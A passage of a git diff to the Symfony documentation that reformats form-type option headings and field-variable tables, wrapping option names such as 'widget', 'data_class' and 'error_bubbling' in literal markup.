 **type**: ``string`` **default**: ``Symfony\Component\Form\Extension\Core\Type\DateTimeType::HTML5_FORMAT``
 
@@ -121,8 +121,8 @@ For more information on valid formats, see `Date/Time Format Syntax`_.
 
 .. include:: /reference/forms/types/options/html5.rst.inc
 
-input
-~~~~~
+``input``
+~~~~~~~~~
 
 **type**: ``string`` **default**: ``datetime``
 
@@ -147,8 +147,8 @@ this format.
 
 .. include:: /reference/forms/types/options/seconds.rst.inc
 
-time_widget
-~~~~~~~~~~~
+``time_widget``
+~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``choice``
 
@@ -158,8 +158,8 @@ The ``time_widget`` option is ignored when the ``widget`` option is set to ``sin
 
 .. include:: /reference/forms/types/options/view_timezone.rst.inc
 
-widget
-~~~~~~
+``widget``
+~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -176,8 +176,8 @@ with the `date_widget`_ and `time_widget`_ options.
 Overridden Options
 ------------------
 
-by_reference
-~~~~~~~~~~~~
+``by_reference``
+~~~~~~~~~~~~~~~~
 
 **default**: ``false``
 
@@ -187,8 +187,8 @@ The ``DateTime`` classes are treated as immutable objects.
 
 .. include:: /reference/forms/types/options/data_class_date.rst.inc
 
-error_bubbling
-~~~~~~~~~~~~~~
+``error_bubbling``
+~~~~~~~~~~~~~~~~~~
 
 **default**: ``false``
 
@@ -212,14 +212,14 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 Field Variables
 ---------------
 
-+----------+------------+----------------------------------------------------------------------+
-| Variable | Type       | Usage                                                                |
-+==========+============+======================================================================+
-| widget   | ``mixed``  | The value of the `widget`_ option.                                   |
-+----------+------------+----------------------------------------------------------------------+
-| type     | ``string`` | Only present when widget is ``single_text`` and HTML5 is activated,  |
-|          |            | contains the input type to use (``datetime``, ``date`` or ``time``). |
-+----------+------------+----------------------------------------------------------------------+
++--------------+------------+----------------------------------------------------------------------+
+| Variable     | Type       | Usage                                                                |
++==============+============+======================================================================+
+| ``widget``   | ``mixed``  | The value of the `widget`_ option.                                   |
++--------------+------------+----------------------------------------------------------------------+
+| ``type``     | ``string`` | Only present when widget is ``single_text`` and HTML5 is activated,  |
+|              |            | contains the input type to use (``datetime``, ``date`` or ``time``). |
++--------------+------------+----------------------------------------------------------------------+
 
 .. _`datetime local`: http://w3c.github.io/html-reference/datatypes.html#form.data.datetime-local
 .. _`Date/Time Format Syntax`: http://userguide.icu-project.org/formatparse/datetime#TOC-Date-Time-Format-Syntax
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 165190707f8..4a731354ff9 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -131,8 +131,8 @@ then you can supply the ``choices`` option directly::
 Field Options
 -------------
 
-choice_label
-~~~~~~~~~~~~
+``choice_label``
+~~~~~~~~~~~~~~~~
 
 **type**: ``string``, ``callable`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath`
 
@@ -181,8 +181,8 @@ more details, see the main :ref:`choice_label <reference-form-choice-label>` doc
             'choice_label' => 'translations[en].name',
         ]);
 
-class
-~~~~~
+``class``
+~~~~~~~~~
 
 **type**: ``string`` **required**
 
@@ -190,16 +190,16 @@ The class of your entity (e.g. ``AppBundle:Category``). This can be
 a fully-qualified class name (e.g. ``AppBundle\Entity\Category``)
 or the short alias name (as shown prior).
 
-em
-~~
+``em``
+~~~~~~
 
 **type**: ``string`` | ``Doctrine\Common\Persistence\ObjectManager`` **default**: the default entity manager
 
 If specified, this entity manager will be used to load the choices
 instead of the ``default`` entity manager.
 
-query_builder
-~~~~~~~~~~~~~
+``query_builder``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``Doctrine\ORM\QueryBuilder`` or a ``callable`` **default**: ``null``
 
@@ -234,8 +234,8 @@ In the ``EntityType``, this is overridden to use the ``id`` by default. When the
 ``id`` is used, Doctrine only queries for the objects for the ids that were actually
 submitted.
 
-choices
-~~~~~~~
+``choices``
+~~~~~~~~~~~
 
 **type**:  ``array`` | ``\Traversable`` **default**: ``null``
 
@@ -243,8 +243,8 @@ Instead of allowing the `class`_ and `query_builder`_ options to fetch the
 entities to include for you, you can pass the ``choices`` option directly.
 See :ref:`reference-forms-entity-choices`.
 
-data_class
-~~~~~~~~~~
+``data_class``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -275,8 +275,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
 
-preferred_choices
-~~~~~~~~~~~~~~~~~
+``preferred_choices``
+~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``array`` or ``callable`` **default**: ``[]``
 
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index 85e8c20f275..99cad7786f9 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -86,8 +86,8 @@ upload associated with a Doctrine entity.
 Field Options
 -------------
 
-multiple
-~~~~~~~~
+``multiple``
+~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``false``
 
@@ -98,15 +98,15 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
-data_class
-~~~~~~~~~~
+``data_class``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: :class:`Symfony\\Component\\HttpFoundation\\File\\File`
 
 This option sets the appropriate file-related data mapper to be used by the type.
 
-empty_data
-~~~~~~~~~~
+``empty_data``
+~~~~~~~~~~~~~~
 
 **type**: ``mixed`` **default**: ``null``
 
@@ -140,5 +140,5 @@ Form Variables
 ========  ==========  ===============================================================================
 Variable  Type        Usage
 ========  ==========  ===============================================================================
-type      ``string``  The type variable is set to ``file``, in order to render as a file input field.
+``type``  ``string``  The type variable is set to ``file``, in order to render as a file input field.
 ========  ==========  ===============================================================================
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index b03732aadc4..1aae7360751 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -53,8 +53,8 @@ Field Options
 
 .. _form-option-allow-extra-fields:
 
-allow_extra_fields
-~~~~~~~~~~~~~~~~~~
+``allow_extra_fields``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index 69d56735c90..5f63c8f5772 100644
--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -28,15 +28,15 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
-error_bubbling
-~~~~~~~~~~~~~~
+``error_bubbling``
+~~~~~~~~~~~~~~~~~~
 
 **default**: ``true``
 
 Pass errors to the root form, otherwise they will not be visible.
 
-required
-~~~~~~~~
+``required``
+~~~~~~~~~~~~
 
 **default**: ``false``
 
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index db6d91bd7a5..6abac53cc1b 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -45,8 +45,8 @@ Field Options
 
 .. include:: /reference/forms/types/options/grouping.rst.inc
 
-rounding_mode
-~~~~~~~~~~~~~
+``rounding_mode``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``integer`` **default**: ``IntegerToLocalizedStringTransformer::ROUND_DOWN``
 
@@ -79,8 +79,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
-scale
-~~~~~
+``scale``
+~~~~~~~~~
 
 **type**: ``integer`` **default**: ``0``
 
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 2a60be33e9e..4b40b2b1e44 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -55,8 +55,8 @@ manually, but then you should just use the ``ChoiceType`` directly.
 Overridden Options
 ------------------
 
-choices
-~~~~~~~
+``choices``
+~~~~~~~~~~~
 
 **default**: ``Symfony\Component\Intl\Intl::getLanguageBundle()->getLanguageNames()``.
 
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 99998ec4104..3933594ba72 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -56,8 +56,8 @@ manually, but then you should just use the ``ChoiceType`` directly.
 Overridden Options
 ------------------
 
-choices
-~~~~~~~
+``choices``
+~~~~~~~~~~~
 
 **default**: ``Symfony\Component\Intl\Intl::getLocaleBundle()->getLocaleNames()``
 
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 07b68ea88d9..38471f2030f 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -43,8 +43,8 @@ how the input and output of the data is handled.
 Field Options
 -------------
 
-currency
-~~~~~~~~
+``currency``
+~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``EUR``
 
@@ -56,8 +56,8 @@ text field.
 This can be any `3 letter ISO 4217 code`_. You can also set this to false
 to hide the currency symbol.
 
-divisor
-~~~~~~~
+``divisor``
+~~~~~~~~~~~
 
 **type**: ``integer`` **default**: ``1``
 
@@ -80,8 +80,8 @@ be set back on your object.
 
 .. include:: /reference/forms/types/options/grouping.rst.inc
 
-scale
-~~~~~
+``scale``
+~~~~~~~~~
 
 **type**: ``integer`` **default**: ``2``
 
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index 4d648ce52d8..7943d776326 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -41,8 +41,8 @@ Field Options
 
 .. include:: /reference/forms/types/options/grouping.rst.inc
 
-scale
-~~~~~
+``scale``
+~~~~~~~~~
 
 **type**: ``integer`` **default**: Locale-specific (usually around ``3``)
 
@@ -51,8 +51,8 @@ the submitted value (via ``rounding_mode``). For example, if ``scale`` is set
 to ``2``, a submitted value of ``20.123`` will be rounded to, for example,
 ``20.12`` (depending on your `rounding_mode`_).
 
-rounding_mode
-~~~~~~~~~~~~~
+``rounding_mode``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``integer`` **default**: ``NumberToLocalizedStringTransformer::ROUND_HALF_UP``
 
diff --git a/reference/forms/types/options/action.rst.inc b/reference/forms/types/options/action.rst.inc
index a878355cc38..e20fe47ccab 100644
--- a/reference/forms/types/options/action.rst.inc
+++ b/reference/forms/types/options/action.rst.inc
@@ -1,5 +1,5 @@
-action
-~~~~~~
+``action``
+~~~~~~~~~~
 
 **type**: ``string`` **default**: empty string
 
diff --git a/reference/forms/types/options/attr.rst.inc b/reference/forms/types/options/attr.rst.inc
index d7ecc7e46dd..c03e17cdb43 100644
--- a/reference/forms/types/options/attr.rst.inc
+++ b/reference/forms/types/options/attr.rst.inc
@@ -1,5 +1,5 @@
-attr
-~~~~
+``attr``
+~~~~~~~~
 
 **type**: ``array`` **default**: ``[]``
 
diff --git a/reference/forms/types/options/auto_initialize.rst.inc b/reference/forms/types/options/auto_initialize.rst.inc
index ab42f333438..bab8ef86e01 100644
--- a/reference/forms/types/options/auto_initialize.rst.inc
+++ b/reference/forms/types/options/auto_initialize.rst.inc
@@ -1,5 +1,5 @@
-auto_initialize
-~~~~~~~~~~~~~~~
+``auto_initialize``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean``  **default**: ``true``
 
diff --git a/reference/forms/types/options/block_name.rst.inc b/reference/forms/types/options/block_name.rst.inc
index f873c1014ad..903e9809626 100644
--- a/reference/forms/types/options/block_name.rst.inc
+++ b/reference/forms/types/options/block_name.rst.inc
@@ -1,5 +1,5 @@
-block_name
-~~~~~~~~~~
+``block_name``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: the form's name (see :ref:`Knowing which
 block to customize <form-customization-sidebar>`)
diff --git a/reference/forms/types/options/button_disabled.rst.inc b/reference/forms/types/options/button_disabled.rst.inc
index b08ebf3f35f..5dc8767e791 100644
--- a/reference/forms/types/options/button_disabled.rst.inc
+++ b/reference/forms/types/options/button_disabled.rst.inc
@@ -1,5 +1,5 @@
-disabled
-~~~~~~~~
+``disabled``
+~~~~~~~~~~~~
 
 **type**: ``boolean``  **default**: ``false``
 
diff --git a/reference/forms/types/options/button_label.rst.inc b/reference/forms/types/options/button_label.rst.inc
index b0f7146c7d0..623e8bf6200 100644
--- a/reference/forms/types/options/button_label.rst.inc
+++ b/reference/forms/types/options/button_label.rst.inc
@@ -1,5 +1,5 @@
-label
-~~~~~
+``label``
+~~~~~~~~~
 
 **type**: ``string`` **default**: The label is "guessed" from the field name
 
diff --git a/reference/forms/types/options/button_translation_domain.rst.inc b/reference/forms/types/options/button_translation_domain.rst.inc
index 56c3453f5c1..f642ea708d8 100644
--- a/reference/forms/types/options/button_translation_domain.rst.inc
+++ b/reference/forms/types/options/button_translation_domain.rst.inc
@@ -1,5 +1,5 @@
-translation_domain
-~~~~~~~~~~~~~~~~~~
+``translation_domain``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``messages``
 
diff --git a/reference/forms/types/options/by_reference.rst.inc b/reference/forms/types/options/by_reference.rst.inc
index 257c0c5a6e4..3065cc9d9c5 100644
--- a/reference/forms/types/options/by_reference.rst.inc
+++ b/reference/forms/types/options/by_reference.rst.inc
@@ -1,5 +1,5 @@
-by_reference
-~~~~~~~~~~~~
+``by_reference``
+~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
diff --git a/reference/forms/types/options/checkbox_compound.rst.inc b/reference/forms/types/options/checkbox_compound.rst.inc
index e8e8a9c13ac..6ae8e9b55bf 100644
--- a/reference/forms/types/options/checkbox_compound.rst.inc
+++ b/reference/forms/types/options/checkbox_compound.rst.inc
@@ -1,5 +1,5 @@
-compound
-~~~~~~~~
+``compound``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/forms/types/options/checkbox_empty_data.rst.inc b/reference/forms/types/options/checkbox_empty_data.rst.inc
index 0c1c62609d3..50006ae794c 100644
--- a/reference/forms/types/options/checkbox_empty_data.rst.inc
+++ b/reference/forms/types/options/checkbox_empty_data.rst.inc
@@ -1,5 +1,5 @@
-empty_data
-~~~~~~~~~~
+``empty_data``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``mixed``
 
diff --git a/reference/forms/types/options/choice_attr.rst.inc b/reference/forms/types/options/choice_attr.rst.inc
index c400a83a5d9..4a91d6dacc8 100644
--- a/reference/forms/types/options/choice_attr.rst.inc
+++ b/reference/forms/types/options/choice_attr.rst.inc
@@ -1,5 +1,5 @@
-choice_attr
-~~~~~~~~~~~
+``choice_attr``
+~~~~~~~~~~~~~~~
 
 **type**: ``array``, ``callable`` or ``string`` **default**: ``[]``
 
diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc
index acc909dba7e..49eb1c20dd7 100644
--- a/reference/forms/types/options/choice_label.rst.inc
+++ b/reference/forms/types/options/choice_label.rst.inc
@@ -1,5 +1,5 @@
-choice_label
-~~~~~~~~~~~~
+``choice_label``
+~~~~~~~~~~~~~~~~
 
 **type**: ``string``, ``callable`` or ``false`` **default**: ``null``
 
diff --git a/reference/forms/types/options/choice_name.rst.inc b/reference/forms/types/options/choice_name.rst.inc
index b1f09f79e82..a9cd27e4f52 100644
--- a/reference/forms/types/options/choice_name.rst.inc
+++ b/reference/forms/types/options/choice_name.rst.inc
@@ -1,5 +1,5 @@
-choice_name
-~~~~~~~~~~~
+``choice_name``
+~~~~~~~~~~~~~~~
 
 **type**: ``callable`` or ``string`` **default**: ``null``
 
diff --git a/reference/forms/types/options/choice_translation_domain.rst.inc b/reference/forms/types/options/choice_translation_domain.rst.inc
index ebd6329eb04..de07057bdde 100644
--- a/reference/forms/types/options/choice_translation_domain.rst.inc
+++ b/reference/forms/types/options/choice_translation_domain.rst.inc
@@ -1,5 +1,5 @@
-choice_translation_domain
-~~~~~~~~~~~~~~~~~~~~~~~~~
+``choice_translation_domain``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string``, ``boolean`` or ``null``
 
diff --git a/reference/forms/types/options/choice_type_trim.rst.inc b/reference/forms/types/options/choice_type_trim.rst.inc
index 999a33ef6bc..3a8b7b0ef1c 100644
--- a/reference/forms/types/options/choice_type_trim.rst.inc
+++ b/reference/forms/types/options/choice_type_trim.rst.inc
@@ -1,5 +1,5 @@
-trim
-~~~~
+``trim``
+~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/forms/types/options/choice_value.rst.inc b/reference/forms/types/options/choice_value.rst.inc
index c2329232b09..a71ba9cdd36 100644
--- a/reference/forms/types/options/choice_value.rst.inc
+++ b/reference/forms/types/options/choice_value.rst.inc
@@ -1,5 +1,5 @@
-choice_value
-~~~~~~~~~~~~
+``choice_value``
+~~~~~~~~~~~~~~~~
 
 **type**: ``callable`` or ``string`` **default**: ``null``
 
diff --git a/reference/forms/types/options/compound.rst.inc b/reference/forms/types/options/compound.rst.inc
index e73b08751c4..528c0a94da9 100644
--- a/reference/forms/types/options/compound.rst.inc
+++ b/reference/forms/types/options/compound.rst.inc
@@ -1,5 +1,5 @@
-compound
-~~~~~~~~
+``compound``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
diff --git a/reference/forms/types/options/compound_type.rst.inc b/reference/forms/types/options/compound_type.rst.inc
index 39e4abc3dfc..82097123b89 100644
--- a/reference/forms/types/options/compound_type.rst.inc
+++ b/reference/forms/types/options/compound_type.rst.inc
@@ -1,5 +1,5 @@
-compound
-~~~~~~~~
+``compound``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/forms/types/options/constraints.rst.inc b/reference/forms/types/options/constraints.rst.inc
index fa48dfb4cf1..b06343ca990 100644
--- a/reference/forms/types/options/constraints.rst.inc
+++ b/reference/forms/types/options/constraints.rst.inc
@@ -1,5 +1,5 @@
-constraints
-~~~~~~~~~~~
+``constraints``
+~~~~~~~~~~~~~~~
 
 **type**: ``array`` or :class:`Symfony\\Component\\Validator\\Constraint` **default**: ``null``
 
diff --git a/reference/forms/types/options/data.rst.inc b/reference/forms/types/options/data.rst.inc
index 507d54315ca..c3562d0a8b1 100644
--- a/reference/forms/types/options/data.rst.inc
+++ b/reference/forms/types/options/data.rst.inc
@@ -1,5 +1,5 @@
-data
-~~~~
+``data``
+~~~~~~~~
 
 **type**: ``mixed`` **default**: Defaults to field of the underlying structure.
 
diff --git a/reference/forms/types/options/data_class.rst.inc b/reference/forms/types/options/data_class.rst.inc
index 10d6b478210..eb8c5498e39 100644
--- a/reference/forms/types/options/data_class.rst.inc
+++ b/reference/forms/types/options/data_class.rst.inc
@@ -1,5 +1,5 @@
-data_class
-~~~~~~~~~~
+``data_class``
+~~~~~~~~~~~~~~
 
 **type**: ``string``
 
diff --git a/reference/forms/types/options/data_class_date.rst.inc b/reference/forms/types/options/data_class_date.rst.inc
index d11296e263f..7c9d28a68d5 100644
--- a/reference/forms/types/options/data_class_date.rst.inc
+++ b/reference/forms/types/options/data_class_date.rst.inc
@@ -1,5 +1,5 @@
-data_class
-~~~~~~~~~~
+``data_class``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
diff --git a/reference/forms/types/options/date_format.rst.inc b/reference/forms/types/options/date_format.rst.inc
index ad1c2a9c718..c7874b505bd 100644
--- a/reference/forms/types/options/date_format.rst.inc
+++ b/reference/forms/types/options/date_format.rst.inc
@@ -1,5 +1,5 @@
-format
-~~~~~~
+``format``
+~~~~~~~~~~
 
 **type**: ``integer`` or ``string`` **default**: `IntlDateFormatter::MEDIUM`_
 (or ``yyyy-MM-dd`` if `widget`_ is ``single_text``)
diff --git a/reference/forms/types/options/date_input.rst.inc b/reference/forms/types/options/date_input.rst.inc
index 4de4643677c..f979dd645e7 100644
--- a/reference/forms/types/options/date_input.rst.inc
+++ b/reference/forms/types/options/date_input.rst.inc
@@ -1,5 +1,5 @@
-input
-~~~~~
+``input``
+~~~~~~~~~
 
 **type**: ``string`` **default**: ``datetime``
 
diff --git a/reference/forms/types/options/date_widget.rst.inc b/reference/forms/types/options/date_widget.rst.inc
index b5e7008b8bf..57f081e5b67 100644
--- a/reference/forms/types/options/date_widget.rst.inc
+++ b/reference/forms/types/options/date_widget.rst.inc
@@ -1,4 +1,4 @@
-widget
-~~~~~~
+``widget``
+~~~~~~~~~~
 
 .. include:: /reference/forms/types/options/date_widget_description.rst.inc
diff --git a/reference/forms/types/options/days.rst.inc b/reference/forms/types/options/days.rst.inc
index a8034510665..9e46a5709b5 100644
--- a/reference/forms/types/options/days.rst.inc
+++ b/reference/forms/types/options/days.rst.inc
@@ -1,5 +1,5 @@
-days
-~~~~
+``days``
+~~~~~~~~
 
 **type**: ``array`` **default**: 1 to 31
 
diff --git a/reference/forms/types/options/disabled.rst.inc b/reference/forms/types/options/disabled.rst.inc
index 9338b1bc48c..8182bb1d38d 100644
--- a/reference/forms/types/options/disabled.rst.inc
+++ b/reference/forms/types/options/disabled.rst.inc
@@ -1,5 +1,5 @@
-disabled
-~~~~~~~~
+``disabled``
+~~~~~~~~~~~~
 
 **type**: ``boolean``  **default**: ``false``
 
diff --git a/reference/forms/types/options/empty_data.rst.inc b/reference/forms/types/options/empty_data.rst.inc
index e3df385a3f9..5e0a23a70b9 100644
--- a/reference/forms/types/options/empty_data.rst.inc
+++ b/reference/forms/types/options/empty_data.rst.inc
@@ -1,5 +1,5 @@
-empty_data
-~~~~~~~~~~
+``empty_data``
+~~~~~~~~~~~~~~
 
 **type**: ``mixed``
 
diff --git a/reference/forms/types/options/error_bubbling.rst.inc b/reference/forms/types/options/error_bubbling.rst.inc
index bc6bc1c5e42..b07866cdf00 100644
--- a/reference/forms/types/options/error_bubbling.rst.inc
+++ b/reference/forms/types/options/error_bubbling.rst.inc
@@ -1,5 +1,5 @@
-error_bubbling
-~~~~~~~~~~~~~~
+``error_bubbling``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false`` unless the form is ``compound``
 
diff --git a/reference/forms/types/options/error_mapping.rst.inc b/reference/forms/types/options/error_mapping.rst.inc
index 5b1122dd5ab..37b3b204483 100644
--- a/reference/forms/types/options/error_mapping.rst.inc
+++ b/reference/forms/types/options/error_mapping.rst.inc
@@ -1,12 +1,12 @@
-error_mapping
-~~~~~~~~~~~~~
+``error_mapping``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``array`` **default**: ``[]``
 
 This option allows you to modify the target of a validation error.
 
 Imagine you have a custom method named ``matchingCityAndZipCode()`` that validates
-whether the city and zip code match. Unfortunately, there is no "matchingCityAndZipCode"
+whether the city and zip code match. Unfortunately, there is no ``matchingCityAndZipCode``
 field in your form, so all that Symfony can do is display the error on top
 of the form.
 
diff --git a/reference/forms/types/options/expanded.rst.inc b/reference/forms/types/options/expanded.rst.inc
index d57fc7c0892..ed9f7c4fd5e 100644
--- a/reference/forms/types/options/expanded.rst.inc
+++ b/reference/forms/types/options/expanded.rst.inc
@@ -1,5 +1,5 @@
-expanded
-~~~~~~~~
+``expanded``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/forms/types/options/extra_fields_message.rst.inc b/reference/forms/types/options/extra_fields_message.rst.inc
index d130808191c..ca54c91ec54 100644
--- a/reference/forms/types/options/extra_fields_message.rst.inc
+++ b/reference/forms/types/options/extra_fields_message.rst.inc
@@ -1,5 +1,5 @@
-extra_fields_message
-~~~~~~~~~~~~~~~~~~~~
+``extra_fields_message``
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This form should not contain extra fields.``
 
diff --git a/reference/forms/types/options/group_by.rst.inc b/reference/forms/types/options/group_by.rst.inc
index 021d3156d6d..f8ce4aea36d 100644
--- a/reference/forms/types/options/group_by.rst.inc
+++ b/reference/forms/types/options/group_by.rst.inc
@@ -1,5 +1,5 @@
-group_by
-~~~~~~~~
+``group_by``
+~~~~~~~~~~~~
 
 **type**: ``string`` or ``callable`` **default**: ``null``
 
diff --git a/reference/forms/types/options/grouping.rst.inc b/reference/forms/types/options/grouping.rst.inc
index 0ebd339b2e8..564b78be04d 100644
--- a/reference/forms/types/options/grouping.rst.inc
+++ b/reference/forms/types/options/grouping.rst.inc
@@ -1,5 +1,5 @@
-grouping
-~~~~~~~~
+``grouping``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/forms/types/options/hours.rst.inc b/reference/forms/types/options/hours.rst.inc
index 2af89a163f6..8f71cfd4384 100644
--- a/reference/forms/types/options/hours.rst.inc
+++ b/reference/forms/types/options/hours.rst.inc
@@ -1,5 +1,5 @@
-hours
-~~~~~
+``hours``
+~~~~~~~~~
 
 **type**: ``array`` **default**: 0 to 23
 
diff --git a/reference/forms/types/options/html5.rst.inc b/reference/forms/types/options/html5.rst.inc
index 7ddda4566bd..9353a879218 100644
--- a/reference/forms/types/options/html5.rst.inc
+++ b/reference/forms/types/options/html5.rst.inc
@@ -1,5 +1,5 @@
-html5
-~~~~~
+``html5``
+~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
diff --git a/reference/forms/types/options/inherit_data.rst.inc b/reference/forms/types/options/inherit_data.rst.inc
index 8f916f55d24..1b63cc4b56f 100644
--- a/reference/forms/types/options/inherit_data.rst.inc
+++ b/reference/forms/types/options/inherit_data.rst.inc
@@ -1,5 +1,5 @@
-inherit_data
-~~~~~~~~~~~~
+``inherit_data``
+~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/forms/types/options/invalid_message.rst.inc b/reference/forms/types/options/invalid_message.rst.inc
index 95dd44db379..d6fcacbd036 100644
--- a/reference/forms/types/options/invalid_message.rst.inc
+++ b/reference/forms/types/options/invalid_message.rst.inc
@@ -1,5 +1,5 @@
-invalid_message
-~~~~~~~~~~~~~~~
+``invalid_message``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not valid``
 
diff --git a/reference/forms/types/options/invalid_message_parameters.rst.inc b/reference/forms/types/options/invalid_message_parameters.rst.inc
index f4527da75c0..e9a669819d8 100644
--- a/reference/forms/types/options/invalid_message_parameters.rst.inc
+++ b/reference/forms/types/options/invalid_message_parameters.rst.inc
@@ -1,5 +1,5 @@
-invalid_message_parameters
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+``invalid_message_parameters``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``array`` **default**: ``[]``
 
diff --git a/reference/forms/types/options/label.rst.inc b/reference/forms/types/options/label.rst.inc
index e3f66611b83..9797b6264cf 100644
--- a/reference/forms/types/options/label.rst.inc
+++ b/reference/forms/types/options/label.rst.inc
@@ -1,5 +1,5 @@
-label
-~~~~~
+``label``
+~~~~~~~~~
 
 **type**: ``string`` **default**: The label is "guessed" from the field name
 
diff --git a/reference/forms/types/options/label_attr.rst.inc b/reference/forms/types/options/label_attr.rst.inc
index 026a9a3ef68..ac18345e67a 100644
--- a/reference/forms/types/options/label_attr.rst.inc
+++ b/reference/forms/types/options/label_attr.rst.inc
@@ -1,5 +1,5 @@
-label_attr
-~~~~~~~~~~
+``label_attr``
+~~~~~~~~~~~~~~
 
 **type**: ``array`` **default**: ``[]``
 
diff --git a/reference/forms/types/options/label_format.rst.inc b/reference/forms/types/options/label_format.rst.inc
index 6636a80a825..c45061d4be7 100644
--- a/reference/forms/types/options/label_format.rst.inc
+++ b/reference/forms/types/options/label_format.rst.inc
@@ -1,5 +1,5 @@
-label_format
-~~~~~~~~~~~~
+``label_format``
+~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
diff --git a/reference/forms/types/options/mapped.rst.inc b/reference/forms/types/options/mapped.rst.inc
index c2e8972b480..ee2fa328827 100644
--- a/reference/forms/types/options/mapped.rst.inc
+++ b/reference/forms/types/options/mapped.rst.inc
@@ -1,5 +1,5 @@
-mapped
-~~~~~~
+``mapped``
+~~~~~~~~~~
 
 **type**: ``boolean``  **default**: ``true``
 
diff --git a/reference/forms/types/options/method.rst.inc b/reference/forms/types/options/method.rst.inc
index 0d86d1f47a0..e5f120c2858 100644
--- a/reference/forms/types/options/method.rst.inc
+++ b/reference/forms/types/options/method.rst.inc
@@ -1,5 +1,5 @@
-method
-~~~~~~
+``method``
+~~~~~~~~~~
 
 **type**: ``string`` **default**: ``POST``
 
diff --git a/reference/forms/types/options/minutes.rst.inc b/reference/forms/types/options/minutes.rst.inc
index e9e552ca047..fd27b19ceac 100644
--- a/reference/forms/types/options/minutes.rst.inc
+++ b/reference/forms/types/options/minutes.rst.inc
@@ -1,5 +1,5 @@
-minutes
-~~~~~~~
+``minutes``
+~~~~~~~~~~~
 
 **type**: ``array`` **default**: 0 to 59
 
diff --git a/reference/forms/types/options/model_timezone.rst.inc b/reference/forms/types/options/model_timezone.rst.inc
index e3cdce028e9..a5fd1ee59b8 100644
--- a/reference/forms/types/options/model_timezone.rst.inc
+++ b/reference/forms/types/options/model_timezone.rst.inc
@@ -1,5 +1,5 @@
-model_timezone
-~~~~~~~~~~~~~~
+``model_timezone``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: system default timezone
 
diff --git a/reference/forms/types/options/months.rst.inc b/reference/forms/types/options/months.rst.inc
index a53c00faeb4..22fc5a04cd9 100644
--- a/reference/forms/types/options/months.rst.inc
+++ b/reference/forms/types/options/months.rst.inc
@@ -1,5 +1,5 @@
-months
-~~~~~~
+``months``
+~~~~~~~~~~
 
 **type**: ``array`` **default**: 1 to 12
 
diff --git a/reference/forms/types/options/multiple.rst.inc b/reference/forms/types/options/multiple.rst.inc
